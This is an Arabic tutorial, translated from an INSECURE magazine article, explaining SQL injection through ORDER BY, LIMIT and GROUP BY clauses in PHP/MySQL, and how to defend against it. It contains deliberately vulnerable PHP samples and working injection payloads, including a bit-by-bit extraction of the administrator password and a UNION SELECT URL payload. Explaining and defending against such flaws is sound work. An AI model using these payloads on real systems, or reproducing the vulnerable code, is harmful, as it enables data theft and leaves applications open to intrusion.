إستغلال ثغرات SQL Injection بطرق غير إعتيادية عن طريق حقن الإستعلام في الشرط order by , group by أو limit. سوف نتناول في هذا المقال ظهور نوع جديد من ثغرات الحقن تختلف عن الانواع الي نعرفها دائماُ وسوف نتكلم عن ثلاثة محاور اساسية وهي التعرف على هذا النوع من الثغرات, إستغلالها وكيف تحمي نفسك منها.

مع التقدم الحماية صار لابد للهكر اللجوء الى اساليب جديدة في الاختراق وايجاد نقاط الضعف لكي يتم استغلالها وفي الايام الحالية ظهر نوع جديد من ثغرات الحقن (SQL Injection) والتي يستغلها المخترق في تنفيذ مايريد وهناء يقوم المخترق بالتحكم في الشروط (ORDER BY, LIMIT or GROUP BY) في امر الاستعلام.

وفي هذا المقال سوف نقوم بالتطبيق على قواعد بيانات mysql server و مع العلم أن هذه التقنية بالامكان تطبيقها على كافة قواعد البيانات.

في معظم ثغرات SQL Injection يتم التركيز على مابعد الشرط where والتي يكون المستخدم هو المتحكم بها مثال:

SELECT fieldlist
FROM table WHERE field = ‘<part_controlled_by_user>’;

في هذا الامر للاستعلام اذا قام المستخدم بادخال قمية غير المطلوب ادخالها سوف يحدث خطاء (sql injection)    وهناء يحتاج المخترق الى معرفة عدد الحقول (filedlist) لكي يتم تنفيذ استعلام الاتحاد او (UNION SELECT SQL) لكي يتم استخارج البيانات المطلوبة من القاعدة وسوف يكون شكل الاستغلال كالتالي:

SELECT fieldlist
FROM table WHERE field = ‘INVALID_VALUE’ UNION SELECT VERSION()

في الجزء الاول من امر الاستعلام لن يتم إعادة اي قيمة لأن الشرط هنا سوف يكون خطاء وعوضاً عن ذلك سوف يتم عرض إصدار قاعدة البيانات والتي سوف تكون في الجزء الثاني من امر الاستعلام و لن اطيل في التكلم عن هذا النوع من الثغرات لأنها معروفه لدى الجميع وتم شرحها كثيراً في السنوات الاخيرة.

 

ثغرة الحقن في الشرط (by order):

والان سوف نقوم بالتعرف على هذا النوع من الثغرات وسوف ناخذ كود php التالي:

<?php
include ‘db.php’;
if (isset($_GET[“order_by”]))
$order_by = mysql_escape_string($_GET[“order_by”]);
else
$order_by = ‘name’;
$result = mysql_query(“SELECT * FROM users ORDER BY $order_by”);
while( $row = mysql_fetch_array($result) ){
echo “<b>”.$row[“username”].”</b> – “;
echo ” “.$row[“name”].” – “;
echo ” “.$row[“email”];
echo “<br>”;
}
?>

في المثال الذي في الاعلاء سوف تلاحظ ان المستخدم يمكنة التحكم في طريقة عرض النتجية النهائية بواسطة إدخال قيمة من نوع GET الى المتغير $order_by، إذا قمنا بطلب الصفحة الرابط التالي:

/orderby.php?order_by=name

سوف يقوم بعرض المستخدمين حسب الاسم  وسوف تكون النتيجة على الشكل التالي:

  1. admin – Clear Rivers – admin@example.com
  2. John – John Smith – john@example.com
  3. Mary – Mary Smith – mary@example.com
  4. Adrian – Popescu Adrian -adrian@example.com

وعندما يتم طلب الرابط التالي:

orderby.php?order_by=email

سوف يتم عرض المستخدمين حسب الايميل وسوف تكون النتيجة على الشكل التالي:

  1. admin – Clear Rivers – admin@example.com
  2. Adrian – Popescu Adrian – adrian@example.com
  3. John – John Smith – john@example.com
  4. Mary – Mary Smith – mary@example.com

في مثال السابق نلاحظ ان المطور حاول استخدام بعض الفلترة بستخدامه دالة ‘mysql_escape_string’  وهذا النوع من الحماية لن يجدي نفعاً لأن القيمة المدخلة ليست بين علامات تنصيص (enclosed between quotes) ويتعبر الكود السابق مصاب بثغرة حقن.  وهذه الثغرة لا يمكننا ان نستخدم معها UNION SELECT, إذا كيف يمكننا استغلالها؟ لو قمناء بتنفيذ استغلال مثل:

SELECT * FROM users ORDER BY name union select version()

سوف يعيد لنا خطاء يحمل الرسالة  التالية:

“Incorrect usage of UNION and ORDER BY”.

والفكرة هي ان order تعتمد على قيمة منطقية اما (true or false) ويجب ان يكون الاستعلام بالشكل التالي:

SELECT * FROM users ORDER BY (case when ({boolean_condition}) then name else email end)

إذا, سوف يكون الاستعلام بالشكل التالي :

SELECT * FROM users ORDER BY (case when (1=1) then name else email end)

وفي مثل هذه الحالة الشرط (1=1) قيمة صحيحة وسوف يعرض لنا حسب الاسم ، واذا كان الشرط هناء خطاء سوف يعرض على حسب الايميل وسوف يكون على الشكل التالي :

SELECT * FROM users ORDER BY (case when (1=0) then name else email end)

باستخدام هذا الشرط بستطاعتنا ان نستخرج البيانات التي نريد من القاعده  على شكل واحد بت في نفس الوقت (one bit at a time.)وعلى سبيل المثال لو اردنا ان نستخرج كلمة السر  للمدير (administrator) سوف يكون الاستعلام على الشكل التالي:

SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&1>0) then name else email end)

بعد تنفيذ هذا الاستعلام إذا كانت القيمة للشرط صحيحة اي يكون الحرف الاول للباسورد 1 سوف يعرض النتيجة حسب الاسم وإذا لم تكن صحيحة اي الحرف الاول من الباسورد لا يساوي 1 سوف يعرض على حسب الايميل.

ويتم الاستمرار الى ان يتم عرض الباسورد كامل على الشكل التالي:

SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&2>0) then name else email end)

لكن هذه العملية سوف تكون متعبة بشكل اليدوي لكن يوجد هناك سكربت بيثون قام ببرمجتة Bogdan من فريق acunetix يسهل عملية استخراج البيانات:

order by data extractor

لتحميل السكريبت: orderby.py

 

ثغرة الحقن في الشرط (Limit) :

دعونا نلاحظ الكود التالي:

<?php
include ‘db.php’;
if (isset($_GET[“limit”]))
$limit = mysql_escape_string($_GET[“limit”]);
else
$limit = ‘3’;
$result = mysql_query(“SELECT * FROM users LIMIT $limit”);
while( $row = mysql_fetch_array($result) ){
echo “<b>”.$row[“username”].”</b> – “;
echo ” “.$row[“name”].” – “;
echo ” “.$row[“email”];
echo “<br>”;
}
?>

وهذا الكود ايضا يحتوي على ثغرة حقن لكن في هذه المرة الحقن سوف يكون في الشرط (limit)  وهذا النوع إستغلالة سهل ليس مثل الاستغلال السابق الخاص بـ order  . وباستطاعتنا استخدم (union) بطلب الصفحة بشكل التالي:

/limit.php?limit=2+union+select+1,2,version(),4,5,6,7,8

وكما تلاحظ في الاستعلام السابق إن الاستغلال سهل جداً ولكي تحمي نفسك من هذا النوع من الهجوم  بمكانك استخدام احد الدالتين

$limit = mysql_escape_string($_GET[“limit”]) او  $limit = intval($_GET[“limit”])

للتحقق ان القيمة المدخله رقم.

ثغرة الحقن في الشرط (GROUP BY):

في هذه الحالة تكون مشابهه جداً الى حالة LIMIT اي يمكنك استغلالها من خلال (UNION SELECT) لاستخراج البيانات المطلوبة وسوف يكون الاستعلام بالشكل التالي:

select * from users group by id union select 1,2,version(),4,5,6,7,8

ولكي تحمي نفسك من هذا النوع من الهجمات استخدم نفس الاسلوب الذي ذكر في (ORDER BY) اي تحدد (white list)  للقيم التي يجب عمل عليها GROUP BY.

الخلاصة:

في مثل هذه الحالات دالة  mysql_escape_string  لن تحميك من ثغرت الحقن التي ذكرنها سابقاُ والسبب ان القيمة المدخلة لن تكون بين علامات تنصيص. في مثل هذه الحالات انت تحتاج الى التحقق من القيم المدخله بشكل يدوي هل يسمح بتمريها الى الاستعلام او لا.

– المقال مترجم من مجلة INSECURE 25 للكاتب Bogdan Calin.

عن الكاتب:


فايز الخليفي, متخصص في مجال أمن المعلومات. مبرمج محترف php و python يمتلك خبرة واسعة في أنظمة التشغيل والحماية بشكل عام.

Share on FacebookShare on Google+Tweet about this on TwitterShare on LinkedIn